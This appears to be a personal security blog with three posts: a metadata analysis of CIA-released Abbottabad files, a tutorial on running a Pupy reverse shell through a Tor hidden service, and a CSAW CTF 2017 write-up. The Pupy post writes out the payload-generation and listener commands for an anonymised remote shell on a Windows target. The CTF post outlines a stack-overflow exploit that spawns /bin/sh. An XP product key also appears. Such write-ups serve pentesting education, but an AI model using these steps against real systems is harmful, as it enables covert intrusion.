Metadata Analysis of OBL/Abbottabad files

Introduction

Recently, the CIA released files extracted from the Abbottabad raid. You can read more about it here: https://www.cia.gov/library/abbottabad-compound/index.html You can also torrent the files from here: https://archive.org/details/AbbottabadCompoundMaterials

Out of curiosity, I wanted to extract metadata from the files and put it on Elasticsearch so I can analyze it. There are no real goals for the analysis, except to see what Osamas bin hidin’.(I am available for comedy gigs) I mainly want to look at metadata PDF, Word docs, and images. This is probably going to be pretty shitty analysis since I don’t really have a goal in mind.

I extracted the metadata using Apache Tika. I did have some errors and had to cancel some processes so I have metadata from most of the files extracted. I put the metadata on Github if you want to do your own analysis (you’ll have hours of fun!): https://github.com/ITLivLab/OBLFilesMetadata

Setup

I started by setting up Elasticsearch and Kibana. You can follow whatever instructions they provide. The data I got from Tika was in JSON format. I used Python to upload JSON documents to ES. I did get some errors with uploading the data which I fixed but I also ignored a lot of errors, so I may not have uploaded all the JSON documents.

Here’s my script for creating the index:

curl -XPUT http://localhost:9200/obltest #Create index

curl -XPOST 'localhost:9200/obltest/_close' #close index

curl -XPUT 'http://localhost:9200/obltest/_settings' -d '{"index.mapping.ignore_malformed" : "true"}' -H 'Content-Type: application/json' #ignore malformed data, i don’t remember why I put that in…

curl -XPUT 'http://localhost:9200/obltest/_settings' -d '{"index.mapping.total_fields.limit": 100000}' -H 'Content-Type: application/json' #I think I had an error saying that I reached field limit, so I had to use this. I am not sure how many different field Tika extracts..

curl -XPOST 'localhost:9200/obltest/_open' #Open the index after our settings were changed

Here’s the python script for uploading the JSON documents:

from elasticsearch import Elasticsearch

es = Elasticsearch()

myfiles = open("JSONFILES",'r').read().splitlines() #list of .MYJSON files

for afile in myfiles:

   myjsondata = open(afile,'r').read()

   if len(myjsondata) > 0: #if .MYJSON file isn’t empty

       print "Uploading: " + str(afile)

       try:

           print es.index(index="obltest", doc_type='oblmetadata', body=myjsondata) #put the json data on ES

       except:

           print "UPLOAD FAILED"

Analysis

For analysis, I needed to use Kibana so I can visualize some of the data. I do wanna say that I’m not good with Kibana and data visualization either.

I started off by creating Vertical Bar and Pie chart with Count of Content-type.

They look cool but they don’t help. I created a table instead.

There are a lot of HTML files that were saved offline from various different sites. I assume lot of the jpegs also came with web pages being saved. There are about 10K pdf files and 5.7K Word documents.

I checked CIA’s hash list and got this:

root@ubuntu:/research/OUTPUT# curl https://www.cia.gov/library/abbottabad-compound/Documents.20171105.hash_index.txt |grep \.doc |wc -l

5811

So close enough...

I’ll start by looking at PDF files. Under Discover tab, I added PDF filter.

Kibana also shows you some of the fields that apply to PDF files which is kinda cool and useful.

I am interested in Author, Company, Creation-Date, and any field that can contain email related data.. There is actually a shitton of cool data Tika extracted. I can’t possibly go through it all by myself.

Authors:

Company:

I’m assuming that some of the PDF’s analyzed were included on the device. They could be manuals or something. I didn’t look deep into them. NEFA Foundation could be Nine Eleven Finding Answers Foundation. (https://en.wikipedia.org/wiki/Nine_Eleven_Finding_Answers_Foundation)

USSOCOM is US Special Operations Command.

As-Sahab: https://en.wikipedia.org/wiki/As-Sahab

USMA is US Military Academy aka West Point.

If you were curious about Blues Brothers as much as I was, it was this file:

Creation-Date:

Not sure what’s up with Feb 2nd 1425.

Email related stuff:

.fr address was in a document about Wage inequality in France and Jake Abel email relates to IslamicExtremism051506v2.pdf.

That’s enough with PDFs, next are Word docs. Again for Word docs, I’m interested in Author, Company, and whatever other field that looks interesting. I would have loved to do this with FOCA but I’m not sure if it can handle this many files.

Authors:

“Your User Name” lol. I’m assuming that someone was following an installation guide.

I noticed that there are several Author fields. There are different author names that show up for these fields.

Company:

Again, “Your Organization Name”...

Oh yeah, “FM9FY TMF7Q KCKCT V9T29 TBBBG” is a Serial key for XP.  lol

Emails:

Software Version:

Alright, finally images. I’m starting with JPEG.

Authors:

Couple of people on that list are actually professional photographers.

Artists:

“Only the Best :-))” seemed interesting. Looks like they have bunch of images related to Chechnya.

Camera Models:

HP model is a printer/scanner.  I also checked the Make. Cannon was on top.

I didn’t know this but you could have Comment and Comments fields with jpegs.

Comment:

I did look for Geolocation for the JPEGs, however, there wasn’t anything, however, there is Province/State field.

Software:

I’m done. I could spend hours looking at this stuff.

Pupy shell over Tor

Introduction

Usually when doing pentesting, you’ll use bind or reverse shells. You can use bind and open up a port on target machine that you can access. If your target is behind NAT, you can’t do bind, in that case you have to use reverse shell. Reverse shell requires you to have an IP and a port that the target can connect to from the inside.

If you need more explanation for reverse vs bind, look here: https://irichmore.wordpress.com/2015/06/04/bind-shell-vs-reverse-shell/

Anyways, my problem is what if I’m behind NAT and my target is behind NAT or maybe I don’t want my IP address known to my target but the target is behind NAT. There are many ways of doing C2 using third party providers. There are multiple projects on github that use different services for C2. Also, you can use web hosts that support PHP and set something up there.

People have used Tor/hidden services for C2. This is not anything new. (https://www.theguardian.com/technology/2014/jul/25/new-ransomware-employs-tor-onion-malware year: 2014) I was also able to do it with ncat, since ncat supports socks proxy. I wanted to do it with Pupy (https://github.com/n1nj4sec/pupy). This technique is nothing new. I’m just documenting how I did it with pupy.

Setup

Tools we’re gonna use are:

Tor - We need statically compiled version of Tor. We ship this with our pupy executable so pupy has proxy to connect to.

Pupy executable obviously..

Iexpress - To combine tor executable and pupy executable

Connection to our target will look something like this:

Attacker machine in my case is Kali Linux and target is Windows.

On your attacker machine, you will need to install Pupy and Tor. After that, you’ll need to setup Tor hidden service. This should help: https://www.torproject.org/docs/tor-hidden-service.html.en

Next thing you’ll need is Tor, which has been statically compiled. I found precompiled version here: http://wiki.ozanh.com/doku.php?id=tor:tor_for_windows You only need tor.exe.

Now you can create your executable using pupy. This is how I did it:

./pupygen.py -f exe_x86 -o TOR_BD.exe auto_proxy --host kdpxeh5ozpxbo7jf.onion:8001 --add-proxy SOCKS5:127.0.0.1:9050 --no-direct -t ssl

Pupygen is used to generate pupy executable or script.

-f is file type

-o is output file name

Auto_proxy is one of the payload types. There is also bind and connect.

--host is your HS address and the port

--add-proxy is one of the arguments for auto_proxy. It’s the proxy that gets used. You can define type:IP:Port.

--no-direct option is to avoid connecting without proxy

Finally, -t is transport method. We’re using ssl (which is default anyway…).

After your TOR_BD.exe file has been generated, you’ll need to use iexpress and combine tor.exe with tor_bd.exe. Iexpress will allow you to extract the files to the disk and run them.

Here are my options for iexpress(feel free to change them to whatever your needs are):

We want to extract and run the files.

Just need two files combined.

Cmd /c tor.exe | cmd /c tor_bd.exe allows us to run both files at the same time. Tor.exe will start and take a few seconds to connect and tor_bd.exe will make a connection through it as soon as it can.

After selecting other options, iexpress generated my final executable, which includes tor and tor_bd.exe.

Now we have to set up the listener. This is how I did it:

./pupysh.py -t ssl -p 8001

Pupysh is pupy shell handler.

-p is the port I want to listen on.

After pupy shell is running, you can execute the file iexpress generated on your target host and you should soon get a shell! (You may get an SSL error from pupy shell. In that case, just restart pupy shell)

It’s slow but it works!

Detection

Pupy executable, I think is already detected by many AV engines, including Windows Defender. Tor traffic can be detected as well with IDS. Also, Tor opens up a port locally.

I uploaded my executable generated from iexpress to VirusTotal: https://www.virustotal.com/#/file/9b9f37eb12726b038bc7362e4013893fb717a4564dad38b78241f3e4c07b43d9/detection  

Probably not worth using for real pentest, unless your client doesn’t even have Windows Defender...

Disclaimer

This was for educational purposes only.

CSAW CTF 2017 - Write-up

Challenge: Misc, Serial

This challenge had to do with Serial, just like it’s name.

This is what we get when we connect to the server:

You can already guess that it has to do with parity checking. When you research 8N1 Parity, you’ll learn that the format is:

START_BIT, DATA(byte), PARITY_BIT, STOP_BIT

We’re asked to evaluate the data and respond with 1 or 0.

Even parity is explained pretty well here http://www.globalspec.com/ImageRepository/LearnMore/20157/parityc189996e759b44a7ae14aa7d36630839.png:

Basically, you want to end up with even amount of 1’s. If your data contains three 1 bits then you need 1 as your parity bit. If your data contains eight 1 bits then you need 0 as your parity bit.

We’re asked to respond with 1 if parity bit is correct and respond with 0 if parity bit is incorrect.

I used pwntools and binascii to implement my solution.

It looks something like this:

First my checkparity function is defined, which will tell me what I need to transmit back to csaw server (either 1 or 0).

I make a connection to the server then read the data (All 11 bits). I send the data to my checkparity function.

Checkparity will look at only the byte value (actualdata) and parity bit. I also count the number of 1 bits I’ve received.

If I have even number of 1 bits then parity bit should be 0, if I have odd number of 1 bits then parity should be 1. If that isn’t the case then I have bad data and I retransmit 0.

The good bytes can be converted to ascii and that’s our flag!

This is what it looks like when ran:

Solution file is here: https://cdn.discordapp.com/attachments/299010542977417216/358793197243072524/ser.py

Challenge: Pwn, Pilot

This was an exploitation challenge and the goal was to get a shell.

In this case, the tools I’ve used were gdb with peda and pwntools and struct libraries.

This was a 64-bit binary. I don’t I’ve done overflow on 64-bit before in any CTF so it was kinda new to me. The concept is still the same as 32-bit though.

I use ‘pattern create 50 out’ to generate a file named out with 50 bytes. ‘run < out’ takes bytes from the out file and inputs them after running the program. As you can see in the image above, there is a crash.

I can run pattern search to look at offsets. I also look at backtrace and look at the offset for the pattern find there. It is 40. This means that we need 40 bytes + address and whatever the address is should land in RIP and the application will jump to that address.

I test this out below:

In the screenshot above, you can see that BBBBAAAA is where the application jumps to.

When we connect to the server, this is the output:

Notice the location address it returns. This is where our code will be placed. The downloaded application also does this, obviously. Our goal is have some code at that address to obtain shell.

This is what my code ends up looking like:

First I make a connection then read the input. I extract the address that I need to jump to then pack it. I found shellcode that executes /bin/sh and I’ve added that as well.

\x90 is a nop, however, when testing, I was using \xcc (int3) which makes the debugger break (as in breakpoint) and lets me do step by step execution.

My data I will be inputting will be SHELLCODE (execute /bin/sh) + nop * (40-lenth of SHELLCODE)

I then send the data and interact with the socket connection.

Below is how I got the flag.

Code is here: https://cdn.discordapp.com/attachments/299010542977417216/359043081963831297/pwn1-1.py

Challenge: Forensics, Best Router

This was 200 points but rather easier than other ones I did previously.

There is a file associated with the challenge, which I have downloaded.

Visiting the URL looks like this:

File that you download is called: best_router.tar.gz, I untarred it and ran the file command to find more information about it.

We can guess that this is an image for the router. We can mount the partitions and examine the insides. I used kpartx.

Partition 1 didn’t have anything useful.

Partition 2 on the other hand has linux file system.

We know the title of the site is BEST ROUTER, we can just use grep to find it.

And looking at the files in var/www gives us the username and password:

The username and password allow us to log in and get the flag:

That’s all. I attempted other challenges but didn’t obtain flags. :-(